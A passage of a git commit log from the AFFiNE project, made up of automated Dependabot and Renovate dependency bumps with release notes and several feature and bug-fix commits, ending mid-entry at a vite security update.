[#7024](https://github.com/axios/axios/issues/7024) )">Dmitriy
Mozgovoy</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/noritaka1166"
title="+2/-6 ([#7028](https://github.com/axios/axios/issues/7028)
[#7029](https://github.com/axios/axios/issues/7029) )">Noritaka
Kobayashi</a></li>
</ul>
<h2><a
href="https://github.com/axios/axios/compare/v1.12.0...v1.12.1">1.12.1</a>
(2025-09-12)</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>types:</strong> fixed env config types; (<a
href="https://redirect.github.com/axios/axios/issues/7020">#7020</a>)
(<a
href="b5f26b75bd">b5f26b7</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+10/-4
([#7020](https://github.com/axios/axios/issues/7020) )">Dmitriy
Mozgovoy</a></li>
</ul>
<h1><a
href="https://github.com/axios/axios/compare/v1.11.0...v1.12.0">1.12.0</a>
(2025-09-11)</h1>
<h3>Bug Fixes</h3>
<ul>
<li>adding build artifacts (<a
href="9ec86de257">9ec86de</a>)</li>
<li>dont add dist on release (<a
href="a2edc3606a">a2edc36</a>)</li>
<li><strong>fetch-adapter:</strong> set correct Content-Type for Node
FormData (<a
href="https://redirect.github.com/axios/axios/issues/6998">#6998</a>)
(<a
href="a9f47afbf3">a9f47af</a>)</li>
<li><strong>node:</strong> enforce maxContentLength for data: URLs (<a
href="https://redirect.github.com/axios/axios/issues/7011">#7011</a>)
(<a
href="945435fc51">945435f</a>)</li>
<li>package exports (<a
href="https://redirect.github.com/axios/axios/issues/5627">#5627</a>)
(<a
href="aa78ac23fc">aa78ac2</a>)</li>
<li><strong>params:</strong> removing '[' and ']' from URL encode
exclude characters (<a
href="https://redirect.github.com/axios/axios/issues/3316">#3316</a>)
(<a
href="https://redirect.github.com/axios/axios/issues/5715">#5715</a>)
(<a
href="6d84189349">6d84189</a>)</li>
<li>release pr run (<a
href="fd7f404488">fd7f404</a>)</li>
<li><strong>types:</strong> change the type guard on isCancel (<a
href="https://redirect.github.com/axios/axios/issues/5595">#5595</a>)
(<a
href="0dbb7fd4f6">0dbb7fd</a>)</li>
</ul>
<h3>Features</h3>
<ul>
<li><strong>adapter:</strong> surface low‑level network error details;
attach original error via cause (<a
href="https://redirect.github.com/axios/axios/issues/6982">#6982</a>)
(<a
href="78b290c57c">78b290c</a>)</li>
<li><strong>fetch:</strong> add fetch, Request, Response env config
variables for the adapter; (<a
href="https://redirect.github.com/axios/axios/issues/7003">#7003</a>)
(<a
href="c959ff2901">c959ff2</a>)</li>
<li>support reviver on JSON.parse (<a
href="https://redirect.github.com/axios/axios/issues/5926">#5926</a>)
(<a
href="2a9763426e">2a97634</a>),
closes <a
href="https://redirect.github.com/axios/axios/issues/5924">#5924</a></li>
<li><strong>types:</strong> extend AxiosResponse interface to include
custom headers type (<a
href="https://redirect.github.com/axios/axios/issues/6782">#6782</a>)
(<a
href="7960d34ede">7960d34</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/WillianAgostini" title="+132/-16760
([#7002](https://github.com/axios/axios/issues/7002)
[#5926](https://github.com/axios/axios/issues/5926)
[#6782](https://github.com/axios/axios/issues/6782) )">Willian
Agostini</a></li>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+4263/-293
([#7006](https://github.com/axios/axios/issues/7006)
[#7003](https://github.com/axios/axios/issues/7003) )">Dmitriy
Mozgovoy</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/mkhani01"
title="+111/-15 ([#6982](https://github.com/axios/axios/issues/6982)
)">khani</a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="e5a33366d7"><code>e5a3336</code></a>
chore(release): v1.12.2 (<a
href="https://redirect.github.com/axios/axios/issues/7031">#7031</a>)</li>
<li><a
href="38726c7586"><code>38726c7</code></a>
refactor: change if in else to else if (<a
href="https://redirect.github.com/axios/axios/issues/7028">#7028</a>)</li>
<li><a
href="cf78825e12"><code>cf78825</code></a>
fix(fetch): use current global fetch instead of cached one when env
fetch is ...</li>
<li><a
href="c26d00f451"><code>c26d00f</code></a>
refactor: remove redundant assignment (<a
href="https://redirect.github.com/axios/axios/issues/7029">#7029</a>)</li>
<li><a
href="9fb41a8fcd"><code>9fb41a8</code></a>
chore(ci): add local HTTP server for Karma tests; (<a
href="https://redirect.github.com/axios/axios/issues/7022">#7022</a>)</li>
<li><a
href="19f9f36850"><code>19f9f36</code></a>
docs(readme): add custom fetch section; (<a
href="https://redirect.github.com/axios/axios/issues/7024">#7024</a>)</li>
<li><a
href="3cac78c2de"><code>3cac78c</code></a>
chore(release): v1.12.1 (<a
href="https://redirect.github.com/axios/axios/issues/7021">#7021</a>)</li>
<li><a
href="b5f26b75bd"><code>b5f26b7</code></a>
fix(types): fixed env config types; (<a
href="https://redirect.github.com/axios/axios/issues/7020">#7020</a>)</li>
<li><a
href="0d8ad6e1de"><code>0d8ad6e</code></a>
chore(release): v1.12.0 (<a
href="https://redirect.github.com/axios/axios/issues/7013">#7013</a>)</li>
<li><a
href="fd7f404488"><code>fd7f404</code></a>
fix: release pr run</li>
<li>Additional commits viewable in <a
href="https://github.com/axios/axios/compare/v1.9.0...v1.12.2">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=axios&package-manager=npm_and_yarn&previous-version=1.9.0&new-version=1.12.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/toeverything/AFFiNE/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-21 18:34:43 +00:00
Jachin
e08fc5ef06 feat(server): change the playground option to GraphiQL. (#13451)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* The GraphQL interactive UI is now available only in development
environments and will not be accessible in production. This change
affects only the availability of the interactive interface; public
exports and API context types remain unchanged. Users in development can
continue to use the tool as before, while production deployments will no
longer expose the interactive UI.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-21 16:08:30 +00:00
Finn Weigand
363f64ebfa feat: add dedicated sign-up config for oauth (#13610)
Currently, it is only possible to disable all registrations. However, it
would be helpful if you could disable normal registration but enable
OAuth registration.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added a setting to enable/disable new user signups via OAuth (default:
enabled).
* Admin Settings (Authentication) now includes a toggle for OAuth
signups.
* OAuth signup flow now respects this setting, preventing new
registrations via OAuth when disabled.
  * Self-hosted configuration schema updated to include the new option.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Signed-off-by: Hudint Finn Weigand <dev@hudint.de>
Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-21 15:38:25 +00:00
renovate[bot]
21bb8142b0 chore: bump up Recouse/EventSource version to from: "0.1.5" (#13620)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [Recouse/EventSource](https://redirect.github.com/Recouse/EventSource)
| patch | `from: "0.1.4"` -> `from: "0.1.5"` |

---

### Release Notes

<details>
<summary>Recouse/EventSource (Recouse/EventSource)</summary>

###
[`v0.1.5`](https://redirect.github.com/Recouse/EventSource/releases/tag/0.1.5)

[Compare
Source](https://redirect.github.com/Recouse/EventSource/compare/0.1.4...0.1.5)

#### What's Changed

- Fix potential data corruption by
[@&#8203;Recouse](https://redirect.github.com/Recouse) in
[#&#8203;30](https://redirect.github.com/Recouse/EventSource/pull/30)
- Concurrency improvements by
[@&#8203;Recouse](https://redirect.github.com/Recouse) in
[#&#8203;31](https://redirect.github.com/Recouse/EventSource/pull/31)
- Update EventParser.swift to Support CR LF by
[@&#8203;Lakr233](https://redirect.github.com/Lakr233) in
[#&#8203;28](https://redirect.github.com/Recouse/EventSource/pull/28)

#### New Contributors

- [@&#8203;Lakr233](https://redirect.github.com/Lakr233) made their
first contribution in
[#&#8203;28](https://redirect.github.com/Recouse/EventSource/pull/28)

**Full Changelog**:
<https://github.com/Recouse/EventSource/compare/0.1.4...0.1.5>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-21 14:54:00 +00:00
Bl4ckspell
750b008dc8 feat(android): add monochrome icon support (#13527)
Add missing themed icon support for android app icon.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Android app icon now supports a monochrome variant for adaptive icons,
enabling themed icons on compatible launchers.
* Improved icon consistency and visibility across system themes
(including dark mode).
  * Applied to both standard and round launcher icons.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-21 14:51:10 +00:00
renovate[bot]
d231b47f1f chore: bump up nestjs (#13614)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [@nestjs/bullmq](https://redirect.github.com/nestjs/bull) | [`11.0.2`
->
`11.0.3`](https://renovatebot.com/diffs/npm/@nestjs%2fbullmq/11.0.2/11.0.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fbullmq/11.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fbullmq/11.0.2/11.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-socket.io](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/schedule](https://redirect.github.com/nestjs/schedule) |
[`6.0.0` ->
`6.0.1`](https://renovatebot.com/diffs/npm/@nestjs%2fschedule/6.0.0/6.0.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fschedule/6.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fschedule/6.0.0/6.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>nestjs/bull (@&#8203;nestjs/bullmq)</summary>

###
[`v11.0.3`](https://redirect.github.com/nestjs/bull/releases/tag/%40nestjs/bullmq%4011.0.3)

[Compare
Source](https://redirect.github.com/nestjs/bull/compare/@nestjs/bullmq@11.0.2...@nestjs/bullmq@11.0.3)

#### What's Changed

- feat(bullmq): add telemetry support for workers by
[@&#8203;noeljackson](https://redirect.github.com/noeljackson) in
[#&#8203;2585](https://redirect.github.com/nestjs/bull/pull/2585)

#### New Contributors

- [@&#8203;noeljackson](https://redirect.github.com/noeljackson) made
their first contribution in
[#&#8203;2585](https://redirect.github.com/nestjs/bull/pull/2585)

**Full Changelog**:
<https://github.com/nestjs/bull/compare/@nestjs/bull-shared@11.0.0...@&#8203;nestjs/bullmq@11.0.3>

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v11.1.6`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.6)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.5...v11.1.6)

##### v11.1.6 (2025-08-07)

##### Bug fixes

- `core`
- [#&#8203;15504](https://redirect.github.com/nestjs/nest/pull/15504)
fix(core): fix race condition in class dependency resolution from
imported modules
([@&#8203;hajekjiri](https://redirect.github.com/hajekjiri))
- [#&#8203;15469](https://redirect.github.com/nestjs/nest/pull/15469)
fix(core): attach root inquirer for nested transient providers
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- `microservices`
- [#&#8203;15508](https://redirect.github.com/nestjs/nest/pull/15508)
fix(microservices): report correct buffer length in exception
([@&#8203;kim-sung-jee](https://redirect.github.com/kim-sung-jee))
- [#&#8203;15492](https://redirect.github.com/nestjs/nest/pull/15492)
fix(microservices): fix kafka serilization of class instances
([@&#8203;LeonBiersch](https://redirect.github.com/LeonBiersch))

##### Dependencies

- `platform-fastify`
- [#&#8203;15493](https://redirect.github.com/nestjs/nest/pull/15493)
chore(deps): bump
[@&#8203;fastify/cors](https://redirect.github.com/fastify/cors) from
11.0.1 to 11.1.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 6

- Jiri Hajek
([@&#8203;hajekjiri](https://redirect.github.com/hajekjiri))
- Kamil Mysliwiec
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- Leon Biersch
([@&#8203;LeonBiersch](https://redirect.github.com/LeonBiersch))
- Seongjee Kim
([@&#8203;kim-sung-jee](https://redirect.github.com/kim-sung-jee))
- [@&#8203;premierbell](https://redirect.github.com/premierbell)
- pTr ([@&#8203;ptrgits](https://redirect.github.com/ptrgits))

</details>

<details>
<summary>nestjs/schedule (@&#8203;nestjs/schedule)</summary>

###
[`v6.0.1`](https://redirect.github.com/nestjs/schedule/releases/tag/6.0.1)

[Compare
Source](https://redirect.github.com/nestjs/schedule/compare/6.0.0...6.0.1)

#### What's Changed

- Add threshold to CronOptions by
[@&#8203;arjunatlightspeed](https://redirect.github.com/arjunatlightspeed)
in [#&#8203;2085](https://redirect.github.com/nestjs/schedule/pull/2085)
- refactor : clear jobs before application shutdown by
[@&#8203;spotlight21c](https://redirect.github.com/spotlight21c) in
[#&#8203;2053](https://redirect.github.com/nestjs/schedule/pull/2053)
- fix(deps): update dependency cron to v4.3.3 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;2001](https://redirect.github.com/nestjs/schedule/pull/2001)

#### New Contributors

-
[@&#8203;arjunatlightspeed](https://redirect.github.com/arjunatlightspeed)
made their first contribution in
[#&#8203;2085](https://redirect.github.com/nestjs/schedule/pull/2085)
- [@&#8203;spotlight21c](https://redirect.github.com/spotlight21c) made
their first contribution in
[#&#8203;2053](https://redirect.github.com/nestjs/schedule/pull/2053)

**Full Changelog**:
<https://github.com/nestjs/schedule/compare/6.0.0...6.0.1>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-21 14:35:11 +00:00
Richard Lora
4efbb630fc fix(core): correct emoji extraction logic using regex (#12749)
https://github.com/user-attachments/assets/ef612f34-0388-49a2-bcad-0cac07a5f785

This PR solves the issue where a majority of emoji's are unable to
become the document or folders icon.

The regex used is below with the test string of a variety of emoji's:
https://regex101.com/r/0anB6Z/1

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-21 22:43:46 +08:00
renovate[bot]
19bd29e90c chore: bump up apple/swift-collections version to from: "1.2.1" (#13535)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[apple/swift-collections](https://redirect.github.com/apple/swift-collections)
| patch | `from: "1.2.0"` -> `from: "1.2.1"` |

---

### Release Notes

<details>
<summary>apple/swift-collections (apple/swift-collections)</summary>

###
[`v1.2.1`](https://redirect.github.com/apple/swift-collections/releases/tag/1.2.1):
Swift Collections 1.2.1

[Compare
Source](https://redirect.github.com/apple/swift-collections/compare/1.2.0...1.2.1)

This is a patch release with the following minor improvements:

- `BigString` sometimes miscounted distances in its character view,
resulting in an invalid collection conformance. This is now fixed.
([#&#8203;485](https://redirect.github.com/apple/swift-collections/issues/485))
- `BigString`'s Unicode Scalar and character views now make better use
of known lengths of the text chunks stored in the tree, resulting in
significantly improved performance for their distance measurements.
([#&#8203;486](https://redirect.github.com/apple/swift-collections/issues/486))
- The Foundation-specific toolchain configuration was updated to include
the Deque type.
([#&#8203;496](https://redirect.github.com/apple/swift-collections/issues/496))

#### What's Changed

- \[BigString] Fix character indexing operations by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;485](https://redirect.github.com/apple/swift-collections/pull/485)
- \[BigString] Harvest some low-hanging performance fruit by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;486](https://redirect.github.com/apple/swift-collections/pull/486)
- Include DequeModule in the Foundation toolchain build by
[@&#8203;cthielen](https://redirect.github.com/cthielen) in
[#&#8203;496](https://redirect.github.com/apple/swift-collections/pull/496)

**Full Changelog**:
<https://github.com/apple/swift-collections/compare/1.2.0...1.2.1>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS44Mi43IiwidXBkYXRlZEluVmVyIjoiNDEuOTcuMTAiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-21 14:22:59 +00:00
ShellWen | 颉文, Chen Chang
2a2793eada fix: Correct spacing in AI partner description (#13593)
Fixed spacing issue in AI partner description.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Improved readability by fixing a minor punctuation/spacing issue in
the project’s introductory text (added a space after a comma).
* Polished wording to better reflect professional tone without altering
meaning.
  * No changes to functionality, configuration, or user workflows.
  * No impact on APIs, interfaces, or compatibility.
* No additional steps required for users; purely a documentation
refinement.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-21 22:17:32 +08:00
Cats Juice
b6a3241451 chore(core): hide embedding status in chat (#13605)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Style**
* Simplified the AI chat composer tip: removed the dynamic
embedding-status tooltip so only a single static caution remains — “AI
outputs can be misleading or wrong.”
* **Tests**
* One end-to-end test related to embedding status was commented out and
is no longer executed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-19 11:40:39 +00:00
Lakr
360c9545f4 feat(ios): [IAP] Paywall Initial Commit (#13609)
Requires https://github.com/toeverything/AFFiNE/pull/13606 to be merged.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Introduced an in-app Paywall with Pro, AI, and Believer plans, feature
previews, paging dots, and selectable pricing options.
- Added purchase and restore actions, plus a unified, polished UI using
new color/icon resources.

- Documentation
  - Added Swift Code Style Guidelines.

- Chores
- Updated dependencies (including MarkdownView 3.4.2), added new
resource packages, and removed an unused dependency.
  - Raised iOS deployment target to 16.5 and refreshed project settings.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-19 11:01:46 +00:00
Lakr
1f228382c2 chore: fix building the app (#13606)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
  - Built-in Then-style DSL for fluent configuration.
- Centralized theming via a new resources library exposing standardized
colors and icons for SwiftUI and UIKit.

- Refactor
  - Migrated color and icon accessors to the new resources provider.
  - Removed redundant imports and streamlined UI configuration.

- Dependencies
  - Updated MarkdownView to 3.4.2.
- Removed the Then third-party dependency; updated package sources;
added resources package and assets.

- Documentation
  - Added iOS Swift code style and architecture guidelines.

- Chores
  - Updated Xcode project format and repository ignore rules.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-19 06:05:05 +00:00
DarkSky
ee77c548ca feat: get prompt model names (#13607)
fix AI-419

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- New API to fetch available models for a prompt, returning default,
optional, and pro models with human‑readable names.
- Added temperature and topP settings to prompt configuration for finer
control.
- Refactor
- When no model is chosen, the default model is used instead of
auto-picking a pro model.
- Model metadata across providers now includes readable names, improving
listings and selection UX.
- Tests
- Updated test snapshots and descriptions to reflect the new
default-model behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-18 12:56:54 +00:00
DarkSky
a0b73cdcec feat: improve model resolve (#13601)
fix AI-419
2025-09-18 10:51:12 +00:00
EYHN
89646869e4 feat(ios): create paywall api (#13602)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Introduced a new iOS Paywall plugin with a simple API to display a
paywall and receive a success response.
  - Added JavaScript wrapper and type definitions for easy integration.

- Refactor
  - Reorganized the iOS project structure for plugins.

- Chores
- Removed unused legacy iOS plugins to streamline the app and reduce
build complexity.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-18 03:47:28 +00:00
L-Sun
34a3c83d84 fix(editor): prevent SwiftKey IME double input (#13590)
Close
[BS-3610](https://linear.app/affine-design/issue/BS-3610/bug-每次按空格会出现重复单词-,特定输入法,比如swiftkey)

#### PR Dependency Tree

* **PR #13591**
  * **PR #13590** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Bug Fixes
- Android: More reliable Backspace/delete handling, preventing missed
inputs and double-deletions.
- Android: Cursor/selection is correctly restored after merging a
paragraph with the previous block.
- Android: Smoother IME composition input; captures correct composition
range.
- Deletion across lines and around embeds/empty lines is more
consistent.
- Chores
- Internal event handling updated to improve Android compatibility and
stability (no user-facing changes).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->





#### PR Dependency Tree


* **PR #13591**
  * **PR #13590** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2025-09-16 17:02:54 +08:00
L-Sun
fd717af3db fix(core): update and fix oxlint error (#13591)
#### PR Dependency Tree


* **PR #13591** 👈
  * **PR #13590**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Bug Fixes
- Improved drag-and-drop stability: draggables, drop targets, and
monitors now respond when option sources or external data change.
- Improved async actions and permission checks to always use the latest
callbacks and error handlers.

- Chores
  - Lint/Prettier configs updated to ignore the Git directory.
  - Upgraded oxlint dev dependency.

- Tests
- Updated several end-to-end tests for more reliable text selection,
focus handling, and timing.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-16 16:47:43 +08:00
renovate[bot]
039976ee6d chore: bump up vite version to v6.3.6 [SECURITY] (#13573)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`6.3.5` ->
`6.3.6`](https://renovatebot.com/diffs/npm/vite/6.3.5/6.3.6) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.3.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.3.5/6.3.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-58751](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c)

### Summary
